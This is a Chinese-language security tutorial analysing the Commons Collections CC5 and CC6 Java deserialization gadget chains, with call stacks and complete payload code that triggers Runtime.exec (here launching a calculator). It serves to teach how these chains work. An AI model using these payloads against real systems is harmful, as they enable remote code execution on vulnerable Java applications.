CC5 、CC6 链利用了新的反序列化触发点,命令执行为CC1的利用方式,作者换了两个反序列化入口方法。同时又引出了Java HashMap和HashSet等利用方法,本文从基础知识、链存在的意义、链的分析构造这三大方面展开学习。
0x01 前置知识
0x1 HashSet 和 HashMap
HashMap实现了Map接口,该接口的作用主要是为客户提供三种方式的数据显示:只查看keys列表,只查看values列表,或以key-value形式成对查看。
拥有一个内部静态类Entry用于存储键值对,并且可以已链的形式添加多个元素
在HashMap中Entry类型的变量名叫table
通过反射的方法获取HashMap中的key或value
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException {
HashMap<Integer, Integer> map = new HashMap(1,2);
map.put(1,1);
Class mapClass = map.getClass();
Field tableField = mapClass.getDeclaredField("table"); //获取的Entry数组
tableField.setAccessible(true);
Object[] array = (Object[]) tableField.get(map);
Class entryClass = array[0].getClass();
Field entryField = entryClass.getDeclaredField("key");
entryField.setAccessible(true);
Integer value = (Integer) entryField.get(array[0]);
System.out.println(value);
}
- HashSet 底层是基于HashMap实现的。
- 在HashSet中不允许出现重复的元素,HashSet 的绝大部分方法都是通过调用 HashMap 的方法来实现的。
- HashSet要重写hashCode和equals方法,方便比较对象的值是否相等。
- 当调用HashSet的add方法时,实际上是向HashMap中增加了一行(key-value对)
在创建HashSet的同时内部已经创建了HashMap,下图为hashSet的构造方法,可以看出HashMap在构造方法中单独创建。
在CC6中会用到该类进行相关的操作,通过反射获取HashMap,之后获取HashMap中的key和value
Field f = null;
f = HashSet.class.getDeclaredField("map");
f.setAccessible(true);
f.get(hashset)
0x2 LazyMap 触发命令执行链
首先回CC1命令执行(https://www.anquanke.com/post/id/230788
)的触发点为ChainedTransformer类的transform方法,如下图所示,构造的链要正好调用这个chainedTransformer的transform方法
在其get方法中,执行了factory的tansform方法,如下图所示
那么如果factory可控就可以完成当前的任务,在LazyMap的构造方法中看到相关赋值,其内容为构造方法的第二个参数。
所以上面的ChainedTransformer可以通过构造方法与LazyMap关联
0x02 CommonsCollections5 分析
0x1 CC5 链的由来
由前置知识中的命令执行链,我们知道了目前要做的是找一个能够衔接LazyMap的get方法的调用链,回顾CC1的触发点,当时作者找到了AnnotationInvocationHandler 中的invoke方法里的一处调用
然而触发invoke方法还要跟readobject方法连在一起,凑巧的是 AnnotationInvocationHandler 的readobject方法中有一些可控的变量方法调用,如下图的memberValues就是构造参数,用户可以进行控制。
可以通过代理的方式触发invoke 方法完成命令执行。
CC5 相当于从新找了个方法接替了 AnnotationInvocationHandler 的工作,这个类就叫做 BadAttributeValueExpException 。
0x2 反序列化链分析
我们先来看看BadAttributeValueExpException类的readobject方法
从代码中可以看出valObj执行了toString方法,通过前几个链的学习,对反射获取变量内容应该已经非常熟悉了,这个valObj变量就是通过ois序列化流获取的val变量,因此这个地方我们是可控的。
通过上一步操作就将问题转为 找一个类的tostring方法,之后他会调用LazyMap的get方法。确实存在这个类TiedMapEntry ,可以看看他的方法调用关系
与此同时 TiedMapEntry 构造方法中可以传递map变量
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
之后就是 lazyMap 及命令执行部分了,可以参考 https://www.anquanke.com/post/id/230788#h2-5
调用栈如下
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
完整的调用链如下图所示
0x3 payload编写
CC5 的利用编写相对来说比较简单,整个利用延续CC1模板,添加关于TiedMapEntry 类的相关操作。
final String[] execArgs = new String[] { "/System/Applications/Calculator.app/Contents/MacOS/Calculator" };
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
Field valfield2 = transformerChain.getClass().getDeclaredField("iTransformers");
valfield2.setAccessible(true);
valfield2.set(transformerChain, transformers);
byte[] serializeData=serialize(val);
unserialize(serializeData);
0x03 CommonsCollections6 分析
0x1 CC6 链的由来
CC6 这个链可以说是CC5的兄弟版,这么说是有原因的,先来看看TiedMapEntry类中的两个函数
通过分析CC5 已经知道getValue函数意味着什么,CC5可以通过toString方法触发getValue,那么这条CC6链就是通过hashCode方法触发getValue。这也就是两条链不同的最根本的原因。
0x2 反序列化链分析
那么接下来的工作就是找到调用hashCode函数的代码,并且想办法与readObject方法关联上。下面分两步操作寻找,寻找其中的交集类。
hashCode调用者特别多,作者在HashMap中找到了一处调用链,首先是HashMap的put方法
再之后是调用hash函数,完成整个利用链构造
根据参数的传递只需控制put(K key, V value)
中的key值为 构造好的TiedMapEntry即可。目前形成的利用链如下,下一步需要和readObject方法对接
上一小节分析到了HashMap的put方法,那么接下来找一个readObject方法或者其他方法调用HashMap的put方法。作者找到了HashSet类
map 在反序列化的时候会对象化,判断是否该对象是否属于LinkedHashSet,如果不是这个map就是HashMap。至此整个利用链结构如下
调试时的java执行栈
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
构造payload可以参考下图
0x3 payload编写
利用分析过后payload也就相对比较好写了,TiedMapEntry 之前都不用更该,主要是HashMap和HashSet之间的调用代码,在一开始的前置知识中也写很详细的介绍了。CC6 利用代码在序列化链部分主要是修改了HashSet中的HashMap中的table的key为构造好的TiedMapEntry对象。这样在HashSet触发readObject函数的时候就可以走通整个流程。
public static void main(String[] args) throws Exception {
final String[] execArgs = new String[] { "/System/Applications/Calculator.app/Contents/MacOS/Calculator" };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
f = HashSet.class.getDeclaredField("map");
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
f2 = HashMap.class.getDeclaredField("table");
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry);
byte[] serializeData=serialize(map);
unserialize(serializeData);
}
0x04 总结
CC5 和 CC6 这两个兄弟链分析过后,对java反序列化链有了更深的一层认识,链的概念又更清楚了些。CC5 和 CC6 沿用经典的InvokerTransformer 命令执行方法,但是采用了基于TiedMapEntry类的两种不同的反序列化触发链。这也为以后我们自己挖掘利用链提供了很好的思路。同样在挖掘利用链的时候要注意已经存在链的首尾两端函数,是否能和目标中的函数对应上。CC反序列化利用系列还将继续…..
本文代码 https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/cc6.java
0x05 参考文章
https://www.cnblogs.com/nice0e3/p/13892510.html
https://www.anquanke.com/post/id/230788